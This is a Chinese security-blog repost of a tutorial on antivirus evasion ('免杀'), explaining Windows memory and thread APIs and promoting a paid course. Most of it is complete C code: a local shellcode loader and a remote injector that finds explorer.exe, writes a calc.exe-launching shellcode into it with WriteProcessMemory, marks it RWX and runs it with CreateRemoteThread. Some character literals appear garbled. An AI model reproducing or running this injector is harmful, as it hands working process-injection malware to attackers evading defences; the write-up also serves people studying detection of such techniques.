免杀基础-shellcode注入详解

admin 2024年12月31日13:05:49评论4 views字数 12262阅读40分52秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档文档中会详细描述。目前已更新83+ PDF文档,《人生中最好的投资就是投资自己!!!》

加好友备注(星球)!!!

免杀基础-shellcode注入详解

一些资源的截图:

免杀基础-shellcode注入详解

免杀基础-shellcode注入详解

免杀基础-shellcode注入详解

免杀基础-shellcode注入详解

简介

上节我们了解了Dll注入,本节我们来聊一下shellcode注入,但是在这之前我们需要了解一些基础的东西。

执行shellcode的方式有非常多,例如我们常见的指针执行,汇编加载,线程加载,堆加载,纤程加载等等。

本节课我们将去讲一下使用远程线程去加载我们的shellcode。

首先我们需要回顾一下远程线程是什么?

远程线程首先我们需要了解两个概念,也就是进程和线程,首先进程是计算机中程和线程。首先,进程是计算机系统中资源分配的基本单位,每个进程都有自己的地址空间、内存、和执行环境。而线程是进程内的执行单元,一个进程可以包含多个线程,这些线程共享该进程的地址空间和资源。

那么远程线程其实就是在一个进程中启动并且在另外一个进程中执行。

什么叫做在一个进程中启动呢?

线程的创建和执行是在某个特定的进程中发生的,这个进程可以是任何正在运行的进程,也可以是自己创建的进程。

什么是另外一个进程中执行呢?

线程的执行不是发生在创建它的进程内,而是在另一个进程的上下文中运行。换句话说,线程的代码、数据和执行环境都不在创建它的进程中,而是在另一个进程中。

那么我们通过线程去加载Shellcode的话,其实就是通过创建一个线程去加载我们的shellcode,一般用于程序运行时动态的加载并执行shellcode。

我们来看一下它的原理:

  1. 首先我们肯定需要将shellcode加载到内存中。

  2. 在加载shellcode的内存区域上设置合适的权限,比如PAGE_EXECUTE_READWRITE或PAGE_EXECUTE_READ。

  3. 使用Windows Api CreateThread函数来创建一个新的线程,并将线程的入口点设置为Shellcode所在内存区域的起始地址。

  4. 当新的线程开始执行时,他的执行路径会被设置为Shellcode所在的内存区域,这样线程就可以执行shellcode了。

  5. 当线程执行完shellcode之后,会终止线程,如果shellcode想要长期运行的话,则需要在shellcode中实现一个等待或者循环代码。

Windows API函数

接下来我们将去了解几个windows API函数,第一个其实就是VirtualAlloc,这个函数我们之前是讲过的,他是一个深情内存的函数,当时没有细说,现在我们来详细说一下这个函数。

VirtualAlloc

VirtualAlloc 是Windwos API中的一个函数。这个函数一般用于在进程的虚拟空间中去分配内存,他是kernel32.dll中的导出函数。

原型如下:

LPVOID VirtualAlloc(  LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flAllocationType,  DWORD  flProtect);

首先是第一个参数,这个参数指定分配内存的首选地址,如果我们传递一个NULL值的话系统会自动选择一个合适的地址。

第二个参数指的是要分配内存的大小,他是以字节为单位的,一般的话我们会将shellcode的大小放到第二个参数这里。

紧接着第三个参数表示的是内存分配的类型,可以是以下组合之一:

MEM_COMMIT:分配内存。

MEM_RESERVE:保留内存空间而不分配物理存储空间。

MEM_RESET:将已分配的内存重置为初始状态。

最后一个参数表示内存的保护属性,一般用于指定内存保护的级别,常用的保护属性包括如下:

PAGE_NOACCESS:内存页不可访问。

PAGE_READWRITE:内存页可读可写。

PAGE_EXECUTE_READWRITE:内存页可执行可读可写。

其实在这里的话我们也有其他的想法,比如你在申请内存的时候给他一个可读的权限或者不可访问的权限,但是在执行shellcode之前我们将这个内存更改成`PAGE_EXECUTE_READWRITE权限,也就是可读可写可执行的权限。

再就是他的返回值了,他的返回值是一个LPVOID类型的,他会指向分配内存区域的指针。

如下示例:

#include <iostream>#include <Windows.h>int main(){	LPVOID pMemory = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);}
免杀基础-shellcode注入详解

上述代码很简单,其实就是使用VirtualAlloc函数分配了1024个字节的内存,分配类型为MEM_COMMIT,表示分配内存,内存保护属性为PAGE_READWRITE,表示内存可读可写,如果成功分配了内存,就可以在返回的内存指针 pMemory 指向的内存区域中进行操作。

VirtualProtect

VirtualProtect函数是Windows API中一个函数,它一般用于改变内存页面的保护属性,通过这个函数我们可以调整内存区域的访问权限,比如可读,可写,可执行等等,一般这个函数我们都用于比如将shellcode放到.data节的时候,它是可读可写的,但是不能执行,所以我们需要使用这个函数更改为可执行的。

还有一种应用场景就是上面说到过的,我们在申请内存的时候给的内存页面权限为只读只写,在执行shellcode之前我们将其更改为可读可写可执行。

函数原型如下:

BOOL VirtualProtect(  LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flNewProtect,  PDWORD lpflOldProtect);

首先第一个参数指向的是你要更改的那个内存区域的地址,需要注意的是这个地址必须是系统分配的起始地址。

第二个参数表示的是更改保护属性的内存区域的大小,以字节为单位。

第三个参数就是新的保护属性了,也就是你要更改的保护属性。

可以更改如下值:

PAGE_NOACCESS:内存页不可访问。PAGE_READONLY:内存页可读。PAGE_READWRITE:内存页可读可写。PAGE_WRITECOPY:内存页可读且可写入,但写入时会生成新的私有副本。PAGE_EXECUTE:内存页可执行。PAGE_EXECUTE_READ:内存页可执行且可读。PAGE_EXECUTE_READWRITE:内存页可执行、可读、可写。PAGE_EXECUTE_WRITECOPY:内存页可执行且可写入,但写入时会生成新的私有副本。

最后一个参数指向一个变量,该变量接收内存区域之前的保护属性。

如下示例:

#include <iostream>#include <Windows.h>int main(){	LPVOID pMemory = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);	DWORD oldProtect;	VirtualProtect(pMemory, 4096, PAGE_EXECUTE_READ, &oldProtect);	getchar();}

我们可以使用Process Hakcer进行监控。

当我们申请内存的时候给的是RW的权限。

免杀基础-shellcode注入详解
在Process Hacker的memory窗口中可以看到是RW权限。
免杀基础-shellcode注入详解

当我们执行下一行修改保护权限的代码之后他会变成RX。

可以看到已经变成了可读可执行的权限了。

免杀基础-shellcode注入详解
VirtualFree

VirtualFree这个函数是Windows API中的一个函数,一般用于释放先前通过VirtualAlloc或其他内存分配函数分配的内存。

函数原型如下:

BOOL VirtualFree(  LPVOID lpAddress,  SIZE_T dwSize,  DWORD  dwFreeType);

第一个参数表示的是释放的内存区域的起始地址,这个地址必须是由VirtualAlloc分配的内存地址。

第二个参数需要注意的是如果 dwFreeType 为 MEM_RELEASE,则 dwSize 必须为 0。如果 dwFreeType 为 MEM_DECOMMIT,则 dwSize 必须是内存页面大小的整数倍。

最后一个参数是指定要释放内存的类型。

MEM_DECOMMIT:将内存区域标记为未提交状态,使得该内存区域的物理内存被释放,但虚拟地址空间保留。使用这个标志时,必须指定要释放的内存区域大小(dwSize)。

MEM_RELEASE:释放整个内存区域,使得该内存区域的虚拟地址空间也被释放。使用这个标志时,dwSize 必须为 0。

CreateThread

这个函数是我们讲的一个重点,因为我们的shellcode要通过线程去执行。

这个函数也是windwos API中的一个函数,这个函数用于创建一个新的线程,这个函数允许你指定线程的入口函数以及参数,并返回一个句柄,我们可以通过该句柄来管理和控制线程。

函数原型如下:

HANDLE CreateThread(  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  SIZE_T                  dwStackSize,  LPTHREAD_START_ROUTINE  lpStartAddress,  LPVOID                  lpParameter,  DWORD                   dwCreationFlags,  LPDWORD                 lpThreadId);

其实我们使用CreateThread来创建线程主要是指向shellcode存储的那一块内存区域最后执行。

首先第一个参数指向SECURITY_ATTRIBUTES结构指针,这个结构决定了新线程的安全属性,如果为NULL的话,那么线程将获得默认的安全属性。

dwStackSize参数表示新线程的初始堆栈大小。如果该参数为 0,新线程将使用与调用线程相同的堆栈大小。

lpStartAddress指向线程入口函数的指针。线程运行时将从此函数开始执行。该函数必须符合 LPTHREAD_START_ROUTINE 类型定义:

lpParameter:传递给线程入口函数的参数。该参数可以是任何类型的指针,通常用于传递线程需要的数据。

dwCreationFlags:指定线程的创建选项,可以是以下值之一:

  • 0:线程创建后立即运行。

  • CREATE_SUSPENDED:线程创建后处于挂起状态,直到调用 ResumeThread 函数。

lpThreadId:指向一个变量,该变量接收新线程的线程标识符。如果该参数为 NULL,不接收线程标识符。

示例

接下来我们来看看线程去执行shellcode的步骤:

  1. 第一步肯定是申请一块可执行区域的内存,也可以申请只读只写的,后续通过VirtualProtect更改一下即可。

  2. 第二步将shellcode赋值到分配的内存中。

  3. 第三步更改内存区域具有可执行的权限,使用VirtualProtect函数来实现。

  4. 第四步创建一个线程,并将线程的入口点设置为Shellcode所在的内存地址。也就是指向shellcode所在的内存区域。

  5. 第五步等待线程执行完成,一般我们会使用WaitForSingleObject函数来执行。

  6. 最后一步释放内存即可,使用VirtualFree函数来完成。

如下示例代码:

threadcalc.cpp

#include <windows.h>#include <iostream>
unsigned char shellcode[193] = {    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,    0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,    0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,    0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,    0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,    0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,    0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,    0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,    0x00};
typedef DWORD(WINAPI* LPTHREAD_START_ROUTINE)(LPVOID lpThreadParameter);
int main() {    SIZE_T shellcodeSize = sizeof(shellcode);
    LPVOID pMemory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (pMemory == NULL) {         return 1;    }    memcpy(pMemory, shellcode, shellcodeSize);
    DWORD oldProtect;    if (!VirtualProtect(pMemory, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect)) {        VirtualFree(pMemory, 0, MEM_RELEASE);        return 1;    }    DWORD threadId;    HANDLE hThread = CreateThread(        NULL,                // 默认安全属性        0,                   // 使用默认堆栈大小        (LPTHREAD_START_ROUTINE)pMemory, // 线程入口函数指向Shellcode        NULL,                // 无参数        0,                   // 线程创建后立即运行        &threadId);          // 接收线程标识符
    if (hThread == NULL) {
        VirtualFree(pMemory, 0, MEM_RELEASE);        return 1;    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFree(pMemory, 0, MEM_RELEASE);
    return 0;}
我们来跟一下代码,首先分配一块内存,内存大小由shellcode的大小决定,分配的内存是一个可读可写的权限。
免杀基础-shellcode注入详解
紧接着通过memcpy函数将shellcode复制到内存中。
免杀基础-shellcode注入详解
紧接着去更改内存保护权限为可执行的权限。
免杀基础-shellcode注入详解
最后将创建的新线程指向我们shellcode存储的内存区域,最后执行。

如上其实就是最基本的通过线程去执行shellcode了。

Shellcode注入进阶

对于Shellcode注入进阶部分的话和DLL注入是差不多的,所使用到的API函数也是差不多的。

同样也是使用VirtualAllocEx以及WriteProcessMemory和VirtualProtectEx函数,最后使用CreateRemoteThread通过创建一个新线程执行我们的shellcode。

无论是DLL注入还是进程注入我们肯定是要先从枚举进程开始的,进程枚举的话我们前面已经说到过了,大概思路就是创建进程快照,然后遍历,判断传递进来进程名是否一样,然后通过OpenProcess函数来获取到进程的句柄返回。

如下代码:

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {    PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {        return FALSE;    }    if (!Process32First(hSnapShot, &Proc)) {        CloseHandle(hSnapShot);        return FALSE;    }    do {        WCHAR LowerName[MAX_PATH * 2];        if (Proc.szExeFile) {            DWORD dwSize = lstrlenW(Proc.szExeFile);            for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {                LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);            }            LowerName[dwSize] = '';        }
        if (wcscmp(LowerName, szProcessName) == 0) {            *dwProcessId = Proc.th32ProcessID;            *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);            if (*hProcess == NULL) {                printf("[!] OpenProcess Failed With Error: %d n", GetLastError());                CloseHandle(hSnapShot);                return FALSE;            }            CloseHandle(hSnapShot);            return TRUE;        }    } while (Process32Next(hSnapShot, &Proc));
    CloseHandle(hSnapShot);    return FALSE;}
接下来我们来看看Shellcode注入的代码:
BOOL InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
    PVOID pShellcodeAddress = NULL;
    SIZE_T sNumberOfBytesWritten = NULL;    DWORD dwOldProtection = NULL;

    // 在远程进程中分配大小为 sSizeOfShellcode 的内存    pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (pShellcodeAddress == NULL) {        return FALSE;    }    if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {        return FALSE;    }    memset(pShellcode, '', sSizeOfShellcode);
    // 将内存区域设为可执行    if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {        return FALSE;    }    if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {        return FALSE;    }    return TRUE;}

代码非常简单,其实就是申请了一块远程进程的内存,然后将shellcode写进去,将内存区域更改为RWX,最后创建线程去指向我们的shellcode执行。

我们debug跟一下:

首先申请了一块远程进程的内存。

免杀基础-shellcode注入详解

紧接着将shellcode写入到目标内存中。

免杀基础-shellcode注入详解
然后将内存区域更改为RWX的权限。
免杀基础-shellcode注入详解
最后创建线程,将线程的入口点更改为shellcode内存区域的地址,然后执行。
完整代码如下:
#include <stdio.h>#include <windows.h>#include <tlhelp32.h>unsigned char shellcode[193] = {    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,    0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,    0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,    0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,    0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,    0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,    0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,    0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,    0x00};BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {    PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {        return FALSE;    }
    if (!Process32First(hSnapShot, &Proc)) {        CloseHandle(hSnapShot);        return FALSE;    }
    do {        WCHAR LowerName[MAX_PATH * 2];        if (Proc.szExeFile) {            DWORD dwSize = lstrlenW(Proc.szExeFile);            for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {                LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);            }            LowerName[dwSize] = '';        }
        if (wcscmp(LowerName, szProcessName) == 0) {            *dwProcessId = Proc.th32ProcessID;            *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);            if (*hProcess == NULL) {                printf("[!] OpenProcess Failed With Error: %d n", GetLastError());                CloseHandle(hSnapShot);                return FALSE;            }            CloseHandle(hSnapShot);            return TRUE;        }    } while (Process32Next(hSnapShot, &Proc));
    CloseHandle(hSnapShot);    return FALSE;}BOOL InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
    PVOID pShellcodeAddress = NULL;
    SIZE_T sNumberOfBytesWritten = NULL;    DWORD dwOldProtection = NULL;

    // 在远程进程中分配大小为 sSizeOfShellcode 的内存    pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (pShellcodeAddress == NULL) {        return FALSE;    }    if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {        return FALSE;    }    memset(pShellcode, '', sSizeOfShellcode);
    // 将内存区域设为可执行    if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {        return FALSE;    }    if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {        return FALSE;    }    return TRUE;}
int main(){    const char* processName = "explorer.exe";    DWORD pid = 0;    HANDLE hProcess = NULL;    if (!GetRemoteProcessHandle(L"explorer.exe", &pid, &hProcess)) {        return 1;    }
    //注入shellcode    InjectShellcode(hProcess, shellcode, sizeof(shellcode));
    getchar();
}
本节就到这里期待和您的下次相遇!!!

原文始发于微信公众号(Relay学安全):免杀基础-shellcode注入详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月31日13:05:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀基础-shellcode注入详解https://cn-sec.com/archives/3574836.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息